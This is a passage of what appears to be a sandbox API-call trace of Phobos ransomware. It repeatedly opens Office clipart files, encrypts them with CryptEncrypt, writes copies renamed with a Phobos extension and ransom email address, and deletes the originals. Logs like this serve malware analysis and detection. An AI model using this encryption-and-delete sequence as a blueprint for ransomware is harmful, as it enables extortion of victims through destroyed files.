0x318 [0060.295] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1044) returned 1 [0060.295] CloseHandle (hObject=0x318) returned 1 [0060.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0060.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.295] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.295] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.296] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0060.296] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.296] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x414, lpOverlapped=0x0) returned 1 [0060.297] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x420, dwBufLen=0x420 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x420) returned 1 [0060.297] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x420, lpOverlapped=0x0) returned 1 [0060.298] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccf0) returned 1 [0060.298] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.298] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.298] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0060.298] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.298] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0060.298] CloseHandle (hObject=0x318) returned 1 [0060.298] CloseHandle (hObject=0x308) returned 1 [0060.299] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0060.300] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.301] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2166) returned 1 [0060.301] CloseHandle (hObject=0x308) returned 1 [0060.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0060.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.301] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.301] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.302] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0060.302] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.302] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x876, lpOverlapped=0x0) returned 1 [0060.303] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x880, dwBufLen=0x880 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x880) returned 1 [0060.303] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x880, lpOverlapped=0x0) returned 1 [0060.304] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ca30) returned 1 [0060.304] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.304] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.304] CryptDestroyKey (hKey=0x10ca30) returned 1 [0060.305] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.305] CryptDestroyKey (hKey=0x10d170) returned 1 [0060.305] CloseHandle (hObject=0x308) returned 1 [0060.305] CloseHandle (hObject=0x318) returned 1 [0060.305] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0060.307] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.307] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1712) returned 1 [0060.307] CloseHandle (hObject=0x318) returned 1 [0060.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0060.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.307] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.308] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.308] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0060.308] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.308] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x6b0, lpOverlapped=0x0) returned 1 [0060.310] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x6c0, dwBufLen=0x6c0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x6c0) returned 1 [0060.310] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x6c0, lpOverlapped=0x0) returned 1 [0060.311] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0060.311] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.311] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.311] CryptDestroyKey (hKey=0x10ce30) returned 1 [0060.311] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.311] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0060.311] CloseHandle (hObject=0x318) returned 1 [0060.311] CloseHandle (hObject=0x308) returned 1 [0060.312] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0060.313] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.313] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=8366) returned 1 [0060.313] CloseHandle (hObject=0x308) returned 1 [0060.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0060.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.314] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.314] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.314] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d070) returned 1 [0060.314] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.314] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x20ae, lpOverlapped=0x0) returned 1 [0061.285] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x20b0, dwBufLen=0x20b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x20b0) returned 1 [0061.285] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x20b0, lpOverlapped=0x0) returned 1 [0061.286] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0061.286] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.286] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.286] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.286] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.286] CryptDestroyKey (hKey=0x10d070) returned 1 [0061.286] CloseHandle (hObject=0x308) returned 1 [0061.286] CloseHandle (hObject=0x318) returned 1 [0061.287] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0061.288] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.288] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2488) returned 1 [0061.288] CloseHandle (hObject=0x318) returned 1 [0061.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0061.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.289] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.289] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.289] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccf0) returned 1 [0061.289] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.289] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x9b8, lpOverlapped=0x0) returned 1 [0061.299] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x9c0) returned 1 [0061.299] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x9c0, lpOverlapped=0x0) returned 1 [0061.303] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0061.303] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.303] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.303] CryptDestroyKey (hKey=0x10caf0) returned 1 [0061.303] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.303] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0061.303] CloseHandle (hObject=0x318) returned 1 [0061.303] CloseHandle (hObject=0x308) returned 1 [0061.304] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0061.305] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.305] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1676) returned 1 [0061.305] CloseHandle (hObject=0x308) returned 1 [0061.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0061.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.306] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.306] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.306] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0061.306] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.306] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x68c, lpOverlapped=0x0) returned 1 [0061.310] CryptEncrypt (in: 